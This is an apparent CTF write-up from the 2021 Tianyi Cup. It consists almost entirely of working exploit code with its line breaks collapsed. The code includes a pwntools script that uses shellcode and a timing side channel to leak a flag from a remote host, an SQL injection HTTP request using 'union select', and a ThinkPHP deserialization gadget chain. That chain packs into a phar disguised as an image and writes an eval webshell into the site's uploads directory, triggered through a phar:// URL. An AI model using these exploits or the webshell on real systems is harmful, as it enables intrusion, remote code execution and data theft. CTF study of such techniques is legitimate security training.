2021 第二届天翼杯wp

from pwn import *elf=ELF('./chall')EXCV = context.binary = './chall'context.arch='amd64'def pwn(p, idx, c):# openshellcode = '''push 0x3a; pop rdi; xor rbx,rbx;inc bl;shl rbx,0x10;add rdi,rbx; xoresi, esi;open:push 2; pop rax; syscall;cmp al,0x4jl open'''# re open, rax => 0x14# read(rax, 0x10050, 0x50)shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x50;pop rsi;add rsi,rbx; syscall;"# cmp and jzif idx == 0:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx,c)else:shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx,c)shellcode = asm(shellcode)p.recvuntil('======== Input your secret code ========n')p.send(shellcode.ljust(0x40-6, b'a') + b'./flag')idx = 0var_list = []while(1):for c in range(32, 127):p = remote("47.104.169.149",25178)# p=process('./chall')pwn(p, idx, c)start = time.time()try:p.recv(timeout=2)except:passend = time.time()p.close()if end-start > 1.5:var_list.append(c)print("".join([chr(i) for i in var_list]))breakelse:print("".join([chr(i) for i in var_list]))breakidx = idx + 1print("".join([chr(i) for i in var_list]))

POST /public/ HTTP/1.1Host: 8.134.37.86:26846User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0)Gecko/20100101 Firefox/92.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 100Origin: http://8.134.37.86:26846Connection: closeReferer: http://8.134.37.86:26846/public/index.phpCookie: PHPSESSID=7la556p4v160a8j1nhcholth1dusername[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=)union select 1,1#&password=1

<?phpnamespace think {abstract class Model{protected $append;protected $error;public $parent;}}namespace thinkmodel {use thinkdbQuery;use thinkModel;use thinkmodelrelationHasOne;use thinkconsoleOutput;abstract class Relation{protected $query;protected $selfRelation;protected $parent;protected $foreignKey;protected $localKey;}class Pivot extends Model{public function __construct(){$this->append = ['mb' => 'getError'];$this->error = new HasOne();$this->parent = new Output();}}}namespace thinksessiondriver {use thinkcachedriverFile;class Memcached{protected $handler;public function __construct(){$this->handler = new File();}}}namespace thinkcachedriver {class File{protected $options;protected $tag;function __construct(){$this->options = ['expire' => 3600,'cache_subdir' => false,'prefix' => '','path' => 'php://filter/convert.iconv.utf-8.utf7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../../../../../../../../var/www/html/public/uploads/a.php','data_compress' => false,];$this->tag = 1;}}}namespace thinkdb {use thinkconsoleOutput;class Query{protected $model;public function __construct(){$this->model = new Output();}}}namespace thinkconsole {use thinksessiondriverMemcached;class Output{protected $styles;private $handle;public function __construct(){$this->styles = ['where'];$this->handle = new Memcached();}}}namespace thinkmodelrelation {use thinkModelRelation;use thinkdbQuery;use thinkconsoleOutput;abstract class OneToOne extends Relation{protected $bindAttr;}class HasOne extends OneToOne{public function __construct(){$this->selfRelation = 0;$this->query = new Output();$this->bindAttr = ['ccc', 'ccc'];$this->foreignKey = 'ccc';$o = new stdClass();$o->mb = 'ccc';$this->parent = $o;$this->localKey = 'mb';}}}namespace thinkprocesspipes {use thinkmodelPivot;class Windows{private $files;public function __construct(){$this->files = [new Pivot()];}}}namespace {use thinkprocesspipesWindows;// echo urlencode(base64_encode(serialize(new Windows())));$phar = new Phar("exp.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');$object = new Windows();$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest$phar->addFromString("1.php", ""); //添加要压缩的文件//签名自动计算$phar->stopBuffering();rename("exp.phar", "exp.jpg");}

http://8.134.37.86:24954/public/? s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg